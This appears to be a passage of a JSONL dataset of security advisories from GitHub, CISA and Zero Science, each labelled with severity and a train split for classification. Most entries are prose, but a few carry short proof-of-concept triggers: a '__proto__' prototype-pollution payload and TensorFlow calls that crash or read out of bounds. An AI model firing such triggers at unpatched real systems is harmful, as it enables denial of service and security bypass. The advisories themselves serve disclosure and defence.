affected code was unused, meaning that the exploitation likelihood is low. The unused code has been removed, effectively mitigating this issue. \n\nThis vulnerability was found due to [this query](https://lgtm.com/query/8938575359870595124/) that [Jonathan Leitschuh](https://github.com/JLLeitschuh) contributed to the Semmle QL project.\n\n### Patches\nThis issue has been patched in [version 1.0.0-beta.9](https://github.com/DataDog/datadog-api-client-java/releases/tag/datadog-api-client-1.0.0-beta.9). \n\nSee also [Remove unused downloadFile helpers](https://github.com/DataDog/datadog-api-client-java/pull/637). \n\n### Workarounds\nThe recommended workaround is to specify `java.io.tmpdir` when starting the JVM with the flag `-Djava.io.tmpdir`, specifying a path to a directory with `drw-------` permissions owned by `dd-agent`.\n\n### References\n* [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n* [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [DataDog/datadog-api-client-java](https://github.com/DataDog/datadog-api-client-java)\t\n* Email us at [security@datadoghq.com](mailto:security@datadoghq.com)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-03-03", "split": "train"}
-{"id": "958fddb3a6921d56b904", "text": "GraphQL: Security breach on Viewer query\n\n### Impact\nAn authenticated user using the viewer GraphQL query can bypass all read security on his User object and can also bypass all objects linked via relation or Pointer on his User object.\n\n### Patches\nThis vulnerability has been patched in Parse Server 4.3.0.\n\n### Workarounds\nNo\n\n### References\nSee [commit 78239ac](https://github.com/parse-community/parse-server/commit/78239ac9071167fdf243c55ae4bc9a2c0b0d89aa) for details.", "text_raw": "GraphQL: Security breach on Viewer query\n\n[Severity: MEDIUM]\n\n### Impact\nAn authenticated user using the viewer GraphQL query can bypass all read security on his User object and can also bypass all objects linked via relation or Pointer on his User object.\n\n### Patches\nThis vulnerability has been patched in Parse Server 4.3.0.\n\n### Workarounds\nNo\n\n### References\nSee [commit 78239ac](https://github.com/parse-community/parse-server/commit/78239ac9071167fdf243c55ae4bc9a2c0b0d89aa) for details.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-22", "split": "train"}
-{"id": "ae6c4db089e35610d745", "text": "Improper Input Validation in Apache Sanselan\n\nCertain input files could make the code hang when Apache Sanselan 0.97-incubator was used to parse them, which could be used in a DoS attack. Note that Apache Sanselan (incubating) was renamed to Apache Commons Imaging.", "text_raw": "Improper Input Validation in Apache Sanselan\n\n[Severity: HIGH]\n\nCertain input files could make the code hang when Apache Sanselan 0.97-incubator was used to parse them, which could be used in a DoS attack. Note that Apache Sanselan (incubating) was renamed to Apache Commons Imaging.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "a972c8a8bc145d1e2712", "text": "Authentication granted to all firewalls instead of just one\n\nDescription\n-----------\n\nWhen an application defines multiple firewalls, the authenticated token delivered by one of the firewalls is available to all other firewalls. This can be abused when the application defines different providers for different parts of an application. In such a situation, a user authenticated on one part of the application is considered authenticated on the whole application.\n\nResolution\n----------\n\nWe now ensure that the authenticated token is only available for the firewall that generates it.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/3084764ad82f29dbb025df19978b9cbc3ab34728) for branch 5.3.\n\nCredits\n-------\n\nI would like to thank Bogdan, gndk, Paweł Warchoł, Warxcell, and Adrien Lamotte for reporting the issue and Wouter J for fixing the issue.", "text_raw": "Authentication granted to all firewalls instead of just one\n\n[Severity: MEDIUM]\n\nDescription\n-----------\n\nWhen an application defines multiple firewalls, the authenticated token delivered by one of the firewalls is available to all other firewalls. This can be abused when the application defines different providers for different parts of an application. In such a situation, a user authenticated on one part of the application is considered authenticated on the whole application.\n\nResolution\n----------\n\nWe now ensure that the authenticated token is only available for the firewall that generates it.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/3084764ad82f29dbb025df19978b9cbc3ab34728) for branch 5.3.\n\nCredits\n-------\n\nI would like to thank Bogdan, gndk, Paweł Warchoł, Warxcell, and Adrien Lamotte for reporting the issue and Wouter J for fixing the issue.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "4ef914194ef05310d156", "text": "Deserializing an array can free uninitialized memory in byte_struct\n\nByte_struct stack and unpack structure as raw bytes with packed or bit field layout. An issue was discovered in the byte_struct crate before 0.6.1 for Rust. There can be a drop of uninitialized memory if a certain deserialization method panics.", "text_raw": "Deserializing an array can free uninitialized memory in byte_struct\n\n[Severity: CRITICAL]\n\nByte_struct stack and unpack structure as raw bytes with packed or bit field layout. An issue was discovered in the byte_struct crate before 0.6.1 for Rust. There can be a drop of uninitialized memory if a certain deserialization method panics.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ec187331c591ef4f71a6", "text": "NationBuilder Multiple Stored XSS Vulnerabilities", "text_raw": "NationBuilder Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-04-23", "split": "train"}
-{"id": "5c40493f66f820cd6cb0", "text": "Data races in toolshed\n\nAn issue was discovered in the toolshed crate through 2020-11-15 for Rust. In CopyCell<T>, the Send trait lacks bounds on the contained type.", "text_raw": "Data races in toolshed\n\n[Severity: HIGH]\n\nAn issue was discovered in the toolshed crate through 2020-11-15 for Rust. In CopyCell<T>, the Send trait lacks bounds on the contained type.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "628b6304f2d4529d884a", "text": "SAS Integration Technologies Client 9.31_M1 (SASspk.dll) Stack-based Overflow", "text_raw": "SAS Integration Technologies Client 9.31_M1 (SASspk.dll) Stack-based Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2013-05-25", "split": "train"}
-{"id": "285c1f00ef68235ea6cc", "text": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in sulu/sulu\n\n### Impact\n\n_What kind of vulnerability is it? Who is impacted?_\n\nIt is an issue when input HTML into the Tag name. The HTML is execute when the tag name is listed in the auto complete form.\nOnly admin users are affected and only admin users can create tags.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem is patched with Version 1.6.42.\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCreate a custom request listener to avoid that this kind of tags are created.\n\n### References\n\n_Are there any links users can visit to find out more?_\n\nCurrently not.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [sulu/sulu repository](https://github.com/sulu/sulu/issues)\n* Email us at [security@sulu.io](mailto:security@sulu.io)", "text_raw": "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in sulu/sulu\n\n[Severity: MEDIUM]\n\n### Impact\n\n_What kind of vulnerability is it? Who is impacted?_\n\nIt is an issue when input HTML into the Tag name. The HTML is execute when the tag name is listed in the auto complete form.\nOnly admin users are affected and only admin users can create tags.\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem is patched with Version 1.6.42.\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nCreate a custom request listener to avoid that this kind of tags are created.\n\n### References\n\n_Are there any links users can visit to find out more?_\n\nCurrently not.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [sulu/sulu repository](https://github.com/sulu/sulu/issues)\n* Email us at [security@sulu.io](mailto:security@sulu.io)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-22", "split": "train"}
-{"id": "62bce4c2e88cca0d8654", "text": "Prototype Pollution in record-like-deep-assign\n\nAll versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require('record-like-deep-assign');\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse('{\"__proto__\":{\"polluted\":true}}');\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```", "text_raw": "Prototype Pollution in record-like-deep-assign\n\n[Severity: HIGH]\n\nAll versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require('record-like-deep-assign');\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse('{\"__proto__\":{\"polluted\":true}}');\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "cee65f6489e52f3d5e1c", "text": "Prototype Pollution in merge-options\n\nAll versions of `merge-options` are vulnerable to Prototype Pollution\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.", "text_raw": "Prototype Pollution in merge-options\n\n[Severity: CRITICAL]\n\nAll versions of `merge-options` are vulnerable to Prototype Pollution\n\n\n## Recommendation\n\nUpdate to version 1.0.1 or greater.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "2dc1a2b6e1b9f3b12a16", "text": "Authentication bypass in Apache Shiro\n\nApache Shiro before 1.7.0, when using Apache Shiro with Spring, a specially crafted HTTP request may cause an authentication bypass.", "text_raw": "Authentication bypass in Apache Shiro\n\n[Severity: CRITICAL]\n\nApache Shiro before 1.7.0, when using Apache Shiro with Spring, a specially crafted HTTP request may cause an authentication bypass.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-22", "split": "train"}
-{"id": "56cef2756d1fffd8afb7", "text": "MadsKristensen.AspNetCore.Miniblog subject to Improper Input Validation\n\nmadskristensen Miniblog.Core through 2019-01-16 allows remote attackers to execute arbitrary ASPX code via an IMG element with a data: URL, because SaveFilesToDisk in Controllers/BlogController.cs writes a decoded base64 string to a file without validating the extension.", "text_raw": "MadsKristensen.AspNetCore.Miniblog subject to Improper Input Validation\n\n[Severity: CRITICAL]\n\nmadskristensen Miniblog.Core through 2019-01-16 allows remote attackers to execute arbitrary ASPX code via an IMG element with a data: URL, because SaveFilesToDisk in Controllers/BlogController.cs writes a decoded base64 string to a file without validating the extension.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "646c1b257c37567198a5", "text": "Multiple soundness issues in cgc\n\nAffected versions of this crate have the following issues:\n\n1. `Ptr` implements `Send` and `Sync` for all types, this can lead to data\n   races by sending non-thread safe types across threads.\n\n2. `Ptr::get` violates mutable alias rules by returning multiple mutable\n   references to the same object.\n\n3. `Ptr::write` uses non-atomic writes to the underlying pointer. This means\n   that when used across threads it can lead to data races.", "text_raw": "Multiple soundness issues in cgc\n\n[Severity: MEDIUM]\n\nAffected versions of this crate have the following issues:\n\n1. `Ptr` implements `Send` and `Sync` for all types, this can lead to data\n   races by sending non-thread safe types across threads.\n\n2. `Ptr::get` violates mutable alias rules by returning multiple mutable\n   references to the same object.\n\n3. `Ptr::write` uses non-atomic writes to the underlying pointer. This means\n   that when used across threads it can lead to data races.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "26e225e2dfb1438ac6c2", "text": "Apache Camel's camel-snakeyaml component is vulnerable to Java object de-serialization\n\nApache Camel's camel-snakeyaml component is vulnerable to Java object de-serialization. De-serializing untrusted data can lead to security flaws.", "text_raw": "Apache Camel's camel-snakeyaml component is vulnerable to Java object de-serialization\n\n[Severity: CRITICAL]\n\nApache Camel's camel-snakeyaml component is vulnerable to Java object de-serialization. De-serializing untrusted data can lead to security flaws.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "981d0a35dc04b9bd4483", "text": "Prototype Pollution in set-value\n\nThis affects the package `set-value`. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.", "text_raw": "Prototype Pollution in set-value\n\n[Severity: HIGH]\n\nThis affects the package `set-value`. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-13", "split": "train"}
-{"id": "35aaa2eb17562ba507de", "text": "Path traversal in ServiceCenter\n\nImproper configuration will cause ServiceComb ServiceCenter Directory Traversal problem in ServcieCenter 1.x.x versions and fixed in 2.0.0.", "text_raw": "Path traversal in ServiceCenter\n\n[Severity: HIGH]\n\nImproper configuration will cause ServiceComb ServiceCenter Directory Traversal problem in ServcieCenter 1.x.x versions and fixed in 2.0.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "aad12a1668b66001d2e4", "text": "Regular Expression Denial of Service in forwarded\n\nAffected versions of `forwarded` are vulnerable to regular expression denial of service when parsing specially crafted user input.\n\n## Recommendation\n\nUpdate to version 0.1.2 or later", "text_raw": "Regular Expression Denial of Service in forwarded\n\n[Severity: HIGH]\n\nAffected versions of `forwarded` are vulnerable to regular expression denial of service when parsing specially crafted user input.\n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "05d2e440647baa091649", "text": "Prototype Pollution in assign-deep\n\nVersions of `assign-deep` before 0.4.7 are vulnerable to prototype pollution via merging functions.\n\n## Recommendation\n\nUpdate to version 0.4.7 or later.", "text_raw": "Prototype Pollution in assign-deep\n\n[Severity: HIGH]\n\nVersions of `assign-deep` before 0.4.7 are vulnerable to prototype pollution via merging functions.\n\n\n## Recommendation\n\nUpdate to version 0.4.7 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "bf0643fd1fb16218a6b8", "text": "Man-in-the-middle attack in Apache Axis\n\nApache Axis 1.4 and earlier, as used in PayPal Payments Pro, PayPal Mass Pay, PayPal Transactional Information SOAP, the Java Message Service implementation in Apache ActiveMQ, and other products, does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.", "text_raw": "Man-in-the-middle attack in Apache Axis\n\n[Severity: MEDIUM]\n\nApache Axis 1.4 and earlier, as used in PayPal Payments Pro, PayPal Mass Pay, PayPal Transactional Information SOAP, the Java Message Service implementation in Apache ActiveMQ, and other products, does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-07", "split": "train"}
-{"id": "68c7ada91802f5944538", "text": "PHP file inclusion in the Sulu admin panel\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nAn attacker can read arbitrary local files via a PHP file include. In a default configuration this also leads to remote code execution.\n\n* Compromised components: Arbitrary file read on the server, (Potential) Remote code execution\n* Exploitation pre-requisite: User account on the backend\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem is patched with the Versions 1.6.44, 2.2.18, 2.3.8, 2.4.0\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nOverwrite the service `sulu_route.generator.expression_token_provider` and wrap the translator before passing it to the expression language.\n\n### References\n\n_Are there any links users can visit to find out more?_\n\nCurrently not.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)", "text_raw": "PHP file inclusion in the Sulu admin panel\n\n[Severity: HIGH]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nAn attacker can read arbitrary local files via a PHP file include. In a default configuration this also leads to remote code execution.\n\n* Compromised components: Arbitrary file read on the server, (Potential) Remote code execution\n* Exploitation pre-requisite: User account on the backend\n\n### Patches\n\n_Has the problem been patched? What versions should users upgrade to?_\n\nThe problem is patched with the Versions 1.6.44, 2.2.18, 2.3.8, 2.4.0\n\n### Workarounds\n\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nOverwrite the service `sulu_route.generator.expression_token_provider` and wrap the translator before passing it to the expression language. \n\n### References\n\n_Are there any links users can visit to find out more?_\n\nCurrently not.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-15", "split": "train"}
-{"id": "7b129d75a5cd4b5a97ce", "text": "Overflow/crash in `tf.tile` when tiling tensor is large\n\n### Impact\nIf `tf.tile` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow.\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.keras.backend.tile(x=np.ones((1,1,1)), n=[100000000,100000000, 100000000])\n```\n\nThe number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process.\n\n### Patches\nWe have patched the issue in GitHub commit [9294094df6fea79271778eb7e7ae1bad8b5ef98f](https://github.com/tensorflow/tensorflow/commit/9294094df6fea79271778eb7e7ae1bad8b5ef98f) (merging [#51138](https://github.com/tensorflow/tensorflow/pull/51138)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46911).", "text_raw": "Overflow/crash in `tf.tile` when tiling tensor is large\n\n[Severity: MEDIUM]\n\n### Impact\nIf `tf.tile` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow.\n\n```python\nimport tensorflow as tf\nimport numpy as np\ntf.keras.backend.tile(x=np.ones((1,1,1)), n=[100000000,100000000, 100000000])\n```\n\nThe number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process.\n\n### Patches\nWe have patched the issue in GitHub commit [9294094df6fea79271778eb7e7ae1bad8b5ef98f](https://github.com/tensorflow/tensorflow/commit/9294094df6fea79271778eb7e7ae1bad8b5ef98f) (merging [#51138](https://github.com/tensorflow/tensorflow/pull/51138)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46911).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "95cd096277b4f564950c", "text": "Heap out of bounds read in `MaxPoolGradWithArgmax`\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([10.0, 10.0, 10.0], shape=[1, 1, 3, 1], dtype=tf.float32)\ngrad = tf.constant([10.0, 10.0, 10.0, 10.0], shape=[1, 1, 1, 4], dtype=tf.float32)\nargmax = tf.constant([1], shape=[1], dtype=tf.int64)\nksize = [1, 1, 1, 1]\nstrides = [1, 1, 1, 1]\n\ntf.raw_ops.MaxPoolGradWithArgmax(\n  input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,\n  padding='SAME', include_batch_in_index=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ef0c008ee84bad91ec6725ddc42091e19a30cf0e/tensorflow/core/kernels/maxpooling_op.cc#L1016-L1017) uses the same value to index in two different arrays but there is no guarantee that the sizes are identical.\n\n### Patches\nWe have patched the issue in GitHub commit [dcd7867de0fea4b72a2b34bd41eb74548dc23886](https://github.com/tensorflow/tensorflow/commit/dcd7867de0fea4b72a2b34bd41eb74548dc23886).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap out of bounds read in `MaxPoolGradWithArgmax`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs:\n\n```python\nimport tensorflow as tf\n\ninput = tf.constant([10.0, 10.0, 10.0], shape=[1, 1, 3, 1], dtype=tf.float32)\ngrad = tf.constant([10.0, 10.0, 10.0, 10.0], shape=[1, 1, 1, 4], dtype=tf.float32)\nargmax = tf.constant([1], shape=[1], dtype=tf.int64)\nksize = [1, 1, 1, 1]\nstrides = [1, 1, 1, 1]\n  \ntf.raw_ops.MaxPoolGradWithArgmax(\n  input=input, grad=grad, argmax=argmax, ksize=ksize, strides=strides,\n  padding='SAME', include_batch_in_index=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/ef0c008ee84bad91ec6725ddc42091e19a30cf0e/tensorflow/core/kernels/maxpooling_op.cc#L1016-L1017) uses the same value to index in two different arrays but there is no guarantee that the sizes are identical. \n\n### Patches\nWe have patched the issue in GitHub commit [dcd7867de0fea4b72a2b34bd41eb74548dc23886](https://github.com/tensorflow/tensorflow/commit/dcd7867de0fea4b72a2b34bd41eb74548dc23886).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. \n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "3ebe0ed3613f96c2dd52", "text": "Code injection via unsafe YAML loading\n\n### Impact\nSockeye uses YAML to store model and data configurations on disk.  Versions below 2.3.24 use unsafe YAML loading, which can be made to execute arbitrary code embedded in config files.\n\nAn attacker can add malicious code to the config file of a trained model and attempt to convince users to download and run it.  If users run the model, the embedded code will run locally.\n\n### Patches\nThe issue is fixed in version 2.3.24 and above by #964.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [awslabs/sockeye](https://github.com/awslabs/sockeye)\n* Email us at [sockeye-dev](mailto:sockeye-dev@amazon.com)\n\n### Attribution\nThis vulnerability was reported by Masatoshi Yoshizawa of yamory Security Team.", "text_raw": "Code injection via unsafe YAML loading\n\n[Severity: HIGH]\n\n### Impact\nSockeye uses YAML to store model and data configurations on disk.  Versions below 2.3.24 use unsafe YAML loading, which can be made to execute arbitrary code embedded in config files.\n\nAn attacker can add malicious code to the config file of a trained model and attempt to convince users to download and run it.  If users run the model, the embedded code will run locally.\n\n### Patches\nThe issue is fixed in version 2.3.24 and above by #964.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [awslabs/sockeye](https://github.com/awslabs/sockeye)\n* Email us at [sockeye-dev](mailto:sockeye-dev@amazon.com)\n\n### Attribution\nThis vulnerability was reported by Masatoshi Yoshizawa of yamory Security Team.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "1577c4b8e857ef8a3450", "text": "Improper Certificate Validation and Improper Validation of Certificate with Host Mismatch in Apache Sling Commons Messaging Mail\n\nApache Sling Commons Messaging Mail provides a simple layer on top of JavaMail/Jakarta Mail for OSGi to send mails via SMTPS. To reduce the risk of \"man in the middle\" attacks additional server identity checks must be performed when accessing mail servers. For compatibility reasons these additional checks are disabled by default in JavaMail/Jakarta Mail. The SimpleMailService in Apache Sling Commons Messaging Mail 1.0 lacks an option to enable these checks for the shared mail session. A user could enable these checks nevertheless by accessing the session via the message created by SimpleMessageBuilder and setting the property mail.smtps.ssl.checkserveridentity to true. Apache Sling Commons Messaging Mail 2.0 adds support for enabling server identity checks and these checks are enabled by default. - https://javaee.github.io/javamail/docs/SSLNOTES.txt - https://javaee.github.io/javamail/docs/api/com/sun/mail/smtp/package-summary.html - https://github.com/eclipse-ee4j/mail/issues/429", "text_raw": "Improper Certificate Validation and Improper Validation of Certificate with Host Mismatch in Apache Sling Commons Messaging Mail\n\n[Severity: HIGH]\n\nApache Sling Commons Messaging Mail provides a simple layer on top of JavaMail/Jakarta Mail for OSGi to send mails via SMTPS. To reduce the risk of \"man in the middle\" attacks additional server identity checks must be performed when accessing mail servers. For compatibility reasons these additional checks are disabled by default in JavaMail/Jakarta Mail. The SimpleMailService in Apache Sling Commons Messaging Mail 1.0 lacks an option to enable these checks for the shared mail session. A user could enable these checks nevertheless by accessing the session via the message created by SimpleMessageBuilder and setting the property mail.smtps.ssl.checkserveridentity to true. Apache Sling Commons Messaging Mail 2.0 adds support for enabling server identity checks and these checks are enabled by default. - https://javaee.github.io/javamail/docs/SSLNOTES.txt - https://javaee.github.io/javamail/docs/api/com/sun/mail/smtp/package-summary.html - https://github.com/eclipse-ee4j/mail/issues/429", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "88c9226fc96d966c3bf0", "text": "Apple Multiple Products Type Confusion Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS contain a type confusion vulnerability that may allow a malicious application to execute code with kernel privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-843\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple Multiple Products Type Confusion Vulnerability\n\nAffected: Apple Multiple Products\n\nApple iOS, iPadOS, macOS, and watchOS contain a type confusion vulnerability that may allow a malicious application to execute code with kernel privileges.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-843\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "9f3cac35ec8b511d3a1f", "text": "Fuel CMS SQL Injection Vulnerability\n\nAffected: Fuel CMS Fuel CMS\n\nFUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Fuel CMS SQL Injection Vulnerability\n\nAffected: Fuel CMS Fuel CMS\n\nFUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-89\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-10", "split": "train"}
-{"id": "f90266c74b416182ece0", "text": "Bzip2Decoder doesn't allow setting size restrictions for decompressed data\n\n### Impact\nThe Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression).\n\nAll users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack\n\n### Workarounds\nNo workarounds other than not using the `Bzip2Decoder`\n\n### References\n\nRelevant code areas:\n\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305", "text_raw": "Bzip2Decoder doesn't allow setting size restrictions for decompressed data\n\n[Severity: HIGH]\n\n### Impact\nThe Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression).\n\n\nAll users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack\n\n### Workarounds\nNo workarounds other than not using the `Bzip2Decoder`\n\n### References\n\nRelevant code areas:\n\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294\nhttps://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-09", "split": "train"}
